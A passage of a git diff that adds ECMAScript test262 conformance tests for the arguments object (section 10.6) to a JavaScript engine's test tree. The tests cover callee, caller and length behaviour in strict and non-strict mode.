+ * @description Accessing callee property of Arguments object throws TypeError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+ try
+ {
+ arguments.callee;
+ return false;
+ }
+ catch (e) {
+ return (e instanceof TypeError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-13-c-2-s.js b/js/src/tests/test262/ch10/10.6/10.6-13-c-2-s.js
new file mode 100644
index 000000000..e08e77003
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-13-c-2-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-13-c-2-s.js
+ * @description arguments.callee is exists in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ 'use strict';
+ var desc = Object.getOwnPropertyDescriptor(arguments,"callee");
+ return desc !== undefined;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-13-c-3-s.js b/js/src/tests/test262/ch10/10.6/10.6-13-c-3-s.js
new file mode 100644
index 000000000..8122932bd
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-13-c-3-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-13-c-3-s.js
+ * @description arguments.callee is non-configurable in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ 'use strict';
+ var desc = Object.getOwnPropertyDescriptor(arguments,"callee");
+ return (desc.configurable === false &&
+ desc.enumerable === false &&
+ desc.hasOwnProperty('value') == false &&
+ desc.hasOwnProperty('writable') == false &&
+ desc.hasOwnProperty('get') == true &&
+ desc.hasOwnProperty('set') == true);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-14-1-s.js b/js/src/tests/test262/ch10/10.6/10.6-14-1-s.js
new file mode 100644
index 000000000..aebc6fa1c
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-14-1-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-14-1-s.js
+ * @description Strict Mode - 'callee' exists and 'caller' exists under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var argObj = function () {
+ return arguments;
+ } ();
+ return argObj.hasOwnProperty("callee") && argObj.hasOwnProperty("caller");
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-14-b-1-s.js b/js/src/tests/test262/ch10/10.6/10.6-14-b-1-s.js
new file mode 100644
index 000000000..51cbfff4d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-14-b-1-s.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-14-b-1-s.js
+ * @description Strict Mode - [[Enumerable]] attribute value in 'caller' is false under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ var argObj = function () {
+ return arguments;
+ } ();
+
+ var verifyEnumerable = false;
+ for (var _10_6_14_b_1 in argObj) {
+ if (argObj.hasOwnProperty(_10_6_14_b_1) && _10_6_14_b_1 === "caller") {
+ verifyEnumerable = true;
+ }
+ }
+ return !verifyEnumerable && argObj.hasOwnProperty("caller");
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-14-b-4-s.js b/js/src/tests/test262/ch10/10.6/10.6-14-b-4-s.js
new file mode 100644
index 000000000..748c630a9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-14-b-4-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-14-b-4-s.js
+ * @description Strict Mode - TypeError is thrown when accessing the [[Set]] attribute in 'caller' under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ var argObj = function () {
+ return arguments;
+ } ();
+
+ try {
+ argObj.caller = {};
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-14-c-1-s.js b/js/src/tests/test262/ch10/10.6/10.6-14-c-1-s.js
new file mode 100644
index 000000000..cade0a537
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-14-c-1-s.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-14-c-1-s.js
+ * @description Strict Mode - [[Enumerable]] attribute value in 'callee' is false under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ var argObj = function () {
+ return arguments;
+ } ();
+
+ var verifyEnumerable = false;
+ for (var _10_6_14_c_1 in argObj) {
+ if (argObj.hasOwnProperty(_10_6_14_c_1) && _10_6_14_c_1 === "callee") {
+ verifyEnumerable = true;
+ }
+ }
+ return !verifyEnumerable && argObj.hasOwnProperty("callee");
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-14-c-4-s.js b/js/src/tests/test262/ch10/10.6/10.6-14-c-4-s.js
new file mode 100644
index 000000000..1238570c4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-14-c-4-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-14-c-4-s.js
+ * @description Strict Mode - TypeError is thrown when accessing the [[Set]] attribute in 'callee' under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ var argObj = function () {
+ return arguments;
+ } ();
+
+ try {
+ argObj.callee = {};
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-1gs.js b/js/src/tests/test262/ch10/10.6/10.6-1gs.js
new file mode 100644
index 000000000..f77fd3c57
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-1gs.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch10/10.6/10.6-1gs.js
+ * @description Strict Mode - arguments.callee cannot be accessed in a strict function, but does not throw an early error
+ * @onlyStrict
+ */
+
+"use strict";
+function f_10_6_1_gs(){
+ return arguments.callee;
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/10.6-2gs.js b/js/src/tests/test262/ch10/10.6/10.6-2gs.js
new file mode 100644
index 000000000..e13cc02f5
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-2gs.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch10/10.6/10.6-2gs.js
+ * @description Strict Mode - arguments.callee cannot be accessed in a strict function
+ * @onlyStrict
+ * @negative .
+ */
+
+"use strict";
+function f_10_6_1_gs(){
+ return arguments.callee;
+}
+f_10_6_1_gs();
+
diff --git a/js/src/tests/test262/ch10/10.6/10.6-5-1.js b/js/src/tests/test262/ch10/10.6/10.6-5-1.js
new file mode 100644
index 000000000..f058239fe
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-5-1.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-5-1.js
+ * @description [[Prototype]] property of Arguments is set to Object prototype object
+ */
+
+
+function testcase() {
+ if(Object.getPrototypeOf(arguments) === Object.getPrototypeOf({}))
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-6-1.js b/js/src/tests/test262/ch10/10.6/10.6-6-1.js
new file mode 100644
index 000000000..d0ec15e27
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-6-1.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-6-1.js
+ * @description 'length property of arguments object exists
+ */
+
+
+function testcase() {
+
+ var desc = Object.getOwnPropertyDescriptor(arguments,"length");
+ return desc !== undefined
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-6-2.js b/js/src/tests/test262/ch10/10.6/10.6-6-2.js
new file mode 100644
index 000000000..afad35fd0
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-6-2.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-6-2.js
+ * @description 'length' property of arguments object has correct attributes
+ */
+
+
+function testcase() {
+
+ var desc = Object.getOwnPropertyDescriptor(arguments,"length");
+ if(desc.configurable === true &&
+ desc.enumerable === false &&
+ desc.writable === true )
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-6-3.js b/js/src/tests/test262/ch10/10.6/10.6-6-3.js
new file mode 100644
index 000000000..e7838e8a4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-6-3.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-6-3.js
+ * @description 'length' property of arguments object for 0 argument function exists
+ */
+
+
+function testcase() {
+ var arguments= undefined;
+ return (function () {return arguments.length !== undefined})();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-6-4.js b/js/src/tests/test262/ch10/10.6/10.6-6-4.js
new file mode 100644
index 000000000..6a3a77b23
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-6-4.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-6-4.js
+ * @description 'length' property of arguments object for 0 argument function call is 0 even with formal parameters
+ */
+
+
+function testcase() {
+ var arguments= undefined;
+ return (function (a,b,c) {return arguments.length === 0})();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-7-1.js b/js/src/tests/test262/ch10/10.6/10.6-7-1.js
new file mode 100644
index 000000000..30fd4f373
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-7-1.js
@@ -0,0 +1,53 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-7-1.js
+ * @description Arguments Object has length as its own property and does not invoke the setter defined on Object.prototype.length (Step 7)
+ */
+
+
+function testcase() {
+ try {
+ var data = "data";
+ var getFunc = function () {
+ return 12;
+ };
+
+ var setFunc = function (value) {
+ data = value;
+ };
+
+ Object.defineProperty(Object.prototype, "length", {
+ get: getFunc,
+ set: setFunc,
+ configurable: true
+ });
+
+ var verifyValue = false;
+ var argObj = (function () { return arguments })();
+ verifyValue = (argObj.length === 0);
+
+ var verifyWritable = false;
+ argObj.length = 1001;
+ verifyWritable = (argObj.length === 1001);
+
+ var verifyEnumerable = false;
+ for (var p in argObj) {
+ if (p === "length") {
+ verifyEnumerable = true;
+ }
+ }
+
+ var verifyConfigurable = false;
+ delete argObj.length;
+ verifyConfigurable = argObj.hasOwnProperty("length");
+
+ return verifyValue && verifyWritable && !verifyEnumerable && !verifyConfigurable && data === "data";
+ } finally {
+ delete Object.prototype.length;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A1.js b/js/src/tests/test262/ch10/10.6/S10.6_A1.js
new file mode 100644
index 000000000..89df9c4dd
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When control enters an execution context for function code,
+ * an arguments object is created and initialised
+ *
+ * @path ch10/10.6/S10.6_A1.js
+ * @description Executing function which uses arguments object
+ */
+
+//CHECK#1
+function f1(){
+ return arguments;
+}
+
+try{
+ var x = f1();
+}
+catch(e){
+ $ERROR("#1: arguments doesn't exists");
+}
+
+//CHECK#2
+var f2 = function(){
+ return arguments;
+}
+
+try{
+ var x = f2();
+}
+catch(e){
+ $ERROR("#2: arguments doesn't exists");
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A2.js b/js/src/tests/test262/ch10/10.6/S10.6_A2.js
new file mode 100644
index 000000000..18698be00
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A2.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The value of the internal [[Prototype]] property of the
+ * created arguments object is the original Object prototype object, the one
+ * that is the initial value of Object.prototype
+ *
+ * @path ch10/10.6/S10.6_A2.js
+ * @description Checking arguments.constructor.prototype===Object.prototype
+ */
+
+//CHECK#1
+function f1(){
+ return arguments.constructor.prototype;
+}
+try{
+ if(f1() !== Object.prototype){
+ $ERROR('#1: arguments.constructor.prototype === Object.prototype');
+ }
+}
+catch(e){
+ $ERROR("#1: arguments doesn't exists");
+}
+
+//CHECK#2
+var f2 = function(){return arguments.constructor.prototype;};
+try{
+ if(f2() !== Object.prototype){
+ $ERROR('#2: arguments.constructor.prototype === Object.prototype');
+ }
+}
+catch(e){
+ $ERROR("#2: arguments doesn't exists");
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A3_T1.js b/js/src/tests/test262/ch10/10.6/S10.6_A3_T1.js
new file mode 100644
index 000000000..234d6ad1a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A3_T1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A property is created with name callee with property
+ * attributes { DontEnum } and no others
+ *
+ * @path ch10/10.6/S10.6_A3_T1.js
+ * @description Checking existence of arguments.callee property
+ */
+
+//CHECK#1
+function f1(){
+ return arguments.hasOwnProperty("callee");
+}
+try{
+ if(f1() !== true){
+ $ERROR("#1: arguments object doesn't contains property 'callee'");
+ }
+}
+catch(e){
+ $ERROR("#1: arguments object doesn't exists");
+}
+
+//CHECK#2
+var f2 = function(){return arguments.hasOwnProperty("callee");};
+try{
+ if(f2() !== true){
+ $ERROR("#2: arguments object doesn't contains property 'callee'");
+ }
+}
+catch(e){
+ $ERROR("#2: arguments object doesn't exists");
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A3_T2.js b/js/src/tests/test262/ch10/10.6/S10.6_A3_T2.js
new file mode 100644
index 000000000..327e5cf36
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A3_T2.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A property is created with name callee with property
+ * attributes { DontEnum } and no others
+ *
+ * @path ch10/10.6/S10.6_A3_T2.js
+ * @description Checking if enumerating the arguments.callee property fails
+ */
+
+//CHECK#1
+function f1(){
+ for(var x in arguments){
+ if (x === "callee"){
+ return false;
+ }
+ }
+ return true;
+}
+
+try{
+ if(!f1()){
+ $ERROR("#1: A property callee don't have attribute { DontEnum }");
+ }
+}
+catch(e){
+ $ERROR("#1: arguments object don't exists");
+}
+
+//CHECK#2
+var f2 = function(){
+ for(var x in arguments){
+ if (x === "callee"){
+ return false;
+ }
+ }
+ return true;
+}
+
+try{
+ if(!f2()){
+ $ERROR("#2: A property callee don't have attribute { DontEnum }");
+ }
+}
+catch(e){
+ $ERROR("#2: arguments object don't exists");
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A3_T3.js b/js/src/tests/test262/ch10/10.6/S10.6_A3_T3.js
new file mode 100644
index 000000000..4b2626570
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A3_T3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A property is created with name callee with property
+ * attributes { DontEnum } and no others
+ *
+ * @path ch10/10.6/S10.6_A3_T3.js
+ * @description Checking if deleting arguments.callee property fails
+ * @noStrict
+ */
+
+//CHECK#1
+function f1(){
+ return (delete arguments.callee);
+}
+
+try{
+ if(!f1()){
+ $ERROR("#1: A property callee have attribute { DontDelete }");
+ }
+}
+catch(e){
+ $ERROR("#1: arguments object don't exists");
+}
+
+//CHECK#2
+var f2 = function(){
+ return (delete arguments.callee);
+}
+
+try{
+ if(!f2()){
+ $ERROR("#2: A property callee have attribute { DontDelete }");
+ }
+}
+catch(e){
+ $ERROR("#2: arguments object don't exists");
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A3_T4.js b/js/src/tests/test262/ch10/10.6/S10.6_A3_T4.js
new file mode 100644
index 000000000..c83983507
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A3_T4.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A property is created with name callee with property
+ * attributes { DontEnum } and no others
+ *
+ * @path ch10/10.6/S10.6_A3_T4.js
+ * @description Overriding arguments.callee property
+ * @noStrict
+ */
+
+var str = "something different";
+//CHECK#1
+function f1(){
+ arguments.callee = str;
+ return arguments;
+}
+
+try{
+ if(f1().callee !== str){
+ $ERROR("#1: A property callee have attribute { ReadOnly }");
+ }
+}
+catch(e){
+ $ERROR("#1: arguments object don't exists");
+}
+
+//CHECK#2
+var f2 = function(){
+ arguments.callee = str;
+ return arguments;
+ }
+try{
+ if(f2().callee !== str){
+ $ERROR("#2: A property callee have attribute { ReadOnly }");
+ }
+}
+catch(e){
+ $ERROR("#2: arguments object don't exists");
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A4.js b/js/src/tests/test262/ch10/10.6/S10.6_A4.js
new file mode 100644
index 000000000..b49902a45
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The initial value of the created property callee is the
+ * Function object being executed
+ *
+ * @path ch10/10.6/S10.6_A4.js
+ * @description Checking that arguments.callee === function object
+ * @noStrict
+ */
+
+//CHECK#1
+function f1(){
+ return arguments.callee;
+}
+
+try{
+ if(f1 !== f1()){
+ $ERROR('#1: arguments.callee === f1');
+ }
+}
+catch(e){
+ $ERROR("#1: arguments object doesn't exists");
+}
+
+//CHECK#2
+var f2 = function(){return arguments.callee;};
+
+try{
+ if(f2 !== f2()){
+ $ERROR('#2: arguments.callee === f2');
+ }
+}
+catch(e){
+ $ERROR("#1: arguments object doesn't exists");
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A5_T1.js b/js/src/tests/test262/ch10/10.6/S10.6_A5_T1.js
new file mode 100644
index 000000000..a76e58d47
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A5_T1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A property is created with name length with property
+ * attributes { DontEnum } and no others
+ *
+ * @path ch10/10.6/S10.6_A5_T1.js
+ * @description Checking existence of arguments.length property
+ */
+
+//CHECK#1
+function f1(){
+ return arguments.hasOwnProperty("length");
+}
+try{
+ if(f1() !== true){
+ $ERROR("#1: arguments object doesn't contains property 'length'");
+ }
+}
+catch(e){
+ $ERROR("#1: arguments object doesn't exists");
+}
+
+//CHECK#2
+var f2 = function(){return arguments.hasOwnProperty("length");};
+try{
+ if(f2() !== true){
+ $ERROR("#2: arguments object doesn't contains property 'length'");
+ }
+}
+catch(e){
+ $ERROR("#2: arguments object doesn't exists");
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A5_T2.js b/js/src/tests/test262/ch10/10.6/S10.6_A5_T2.js
new file mode 100644
index 000000000..a0f4df7a9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A5_T2.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A property is created with name length with property
+ * attributes { DontEnum } and no others
+ *
+ * @path ch10/10.6/S10.6_A5_T2.js
+ * @description Checking if enumerating the arguments.length property fails
+ */
+
+//CHECK#1
+function f1(){
+ for(var x in arguments){
+ if (x === "length"){
+ return false;
+ }
+ }
+ return true;
+}
+
+try{
+ if(!f1()){
+ $ERROR("#1: A property length don't have attribute { DontEnum }");
+ }
+}
+catch(e){
+ $ERROR("#1: arguments object don't exists");
+}
+
+//CHECK#2
+var f2 = function(){
+ for(var x in arguments){
+ if (x === "length"){
+ return false;
+ }
+ }
+ return true;
+}
+
+try{
+ if(!f2()){
+ $ERROR("#2: A property length don't have attribute { DontEnum }");
+ }
+}
+catch(e){
+ $ERROR("#2: arguments object don't exists");
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A5_T3.js b/js/src/tests/test262/ch10/10.6/S10.6_A5_T3.js
new file mode 100644
index 000000000..c8187fac8
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A5_T3.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A property is created with name length with property
+ * attributes { DontEnum } and no others
+ *
+ * @path ch10/10.6/S10.6_A5_T3.js
+ * @description Checking if deleting arguments.length property fails
+ */
+
+//CHECK#1
+function f1(){
+ return (delete arguments.length);
+}
+
+try{
+ if(!f1()){
+ $ERROR("#1: A property length have attribute { DontDelete }");
+ }
+}
+catch(e){
+ $ERROR("#1: arguments object don't exists");
+}
+
+//CHECK#2
+var f2 = function(){
+ return (delete arguments.length);
+}
+
+try{
+ if(!f2()){
+ $ERROR("#2: A property length have attribute { DontDelete }");
+ }
+}
+catch(e){
+ $ERROR("#2: arguments object don't exists");
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A5_T4.js b/js/src/tests/test262/ch10/10.6/S10.6_A5_T4.js
new file mode 100644
index 000000000..7178bf424
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A5_T4.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A property is created with name length with property
+ * attributes { DontEnum } and no others
+ *
+ * @path ch10/10.6/S10.6_A5_T4.js
+ * @description Overriding arguments.length property
+ */
+
+var str = "something different";
+//CHECK#1
+function f1(){
+ arguments.length = str;
+ return arguments;
+}
+
+try{
+ if(f1().length !== str){
+ $ERROR("#1: A property length have attribute { ReadOnly }");
+ }
+}
+catch(e){
+ $ERROR("#1: arguments object don't exists");
+}
+
+//CHECK#2
+var f2 = function(){
+ arguments.length = str;
+ return arguments;
+ };
+try{
+ if(f2().length !== str){
+ $ERROR("#2: A property length have attribute { ReadOnly }");
+ }
+}
+catch(e){
+ $ERROR("#2: arguments object don't exists");
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A6.js b/js/src/tests/test262/ch10/10.6/S10.6_A6.js
new file mode 100644
index 000000000..3f1d0d1c1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A6.js
@@ -0,0 +1,67 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The initial value of the created property length is the number
+ * of actual parameter values supplied by the caller
+ *
+ * @path ch10/10.6/S10.6_A6.js
+ * @description Create function, that returned arguments.length
+ */
+
+function f1(){
+ return arguments.length;
+}
+
+//CHECK#1
+if(!(f1() === 0)){
+ $ERROR('#1: argument.length === 0');
+}
+
+//CHECK#2
+if(!(f1(0) === 1)){
+ $ERROR('#2: argument.length === 1');
+}
+
+//CHECK#3
+if(!(f1(0, 1) === 2)){
+ $ERROR('#3: argument.length === 2');
+}
+
+//CHECK#4
+if(!(f1(0, 1, 2) === 3)){
+ $ERROR('#4: argument.length === 3');
+}
+
+//CHECK#5
+if(!(f1(0, 1, 2, 3) === 4)){
+ $ERROR('#5: argument.length === 4');
+}
+
+var f2 = function(){return arguments.length;};
+
+//CHECK#6
+if(!(f2() === 0)){
+ $ERROR('#6: argument.length === 0');
+}
+
+//CHECK#7
+if(!(f2(0) === 1)){
+ $ERROR('#7: argument.length === 1');
+}
+
+//CHECK#8
+if(!(f2(0, 1) === 2)){
+ $ERROR('#8: argument.length === 2');
+}
+
+//CHECK#9
+if(!(f2(0, 1, 2) === 3)){
+ $ERROR('#9: argument.length === 3');
+}
+
+//CHECK#10
+if(!(f2(0, 1, 2, 3) === 4)){
+ $ERROR('#10: argument.length === 4');
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/S10.6_A7.js b/js/src/tests/test262/ch10/10.6/S10.6_A7.js
new file mode 100644
index 000000000..f013ba013
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/S10.6_A7.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Get arguments of function
+ *
+ * @path ch10/10.6/S10.6_A7.js
+ * @description Use property arguments
+ */
+
+function f1() {
+ return arguments;
+}
+
+//CHECK#1-5
+for(var i = 1; i < 5; i++){
+if (f1(1,2,3,4,5)[i] !== (i+1))
+ $ERROR("#"+i+": Returning function's arguments work wrong, f1(1,2,3,4,5)["+i+"] !== "+(i+1));
+}
+
diff --git a/js/src/tests/test262/ch10/10.6/browser.js b/js/src/tests/test262/ch10/10.6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/browser.js
diff --git a/js/src/tests/test262/ch10/10.6/shell.js b/js/src/tests/test262/ch10/10.6/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/shell.js
diff --git a/js/src/tests/test262/ch10/browser.js b/js/src/tests/test262/ch10/browser.js
new file mode 100644
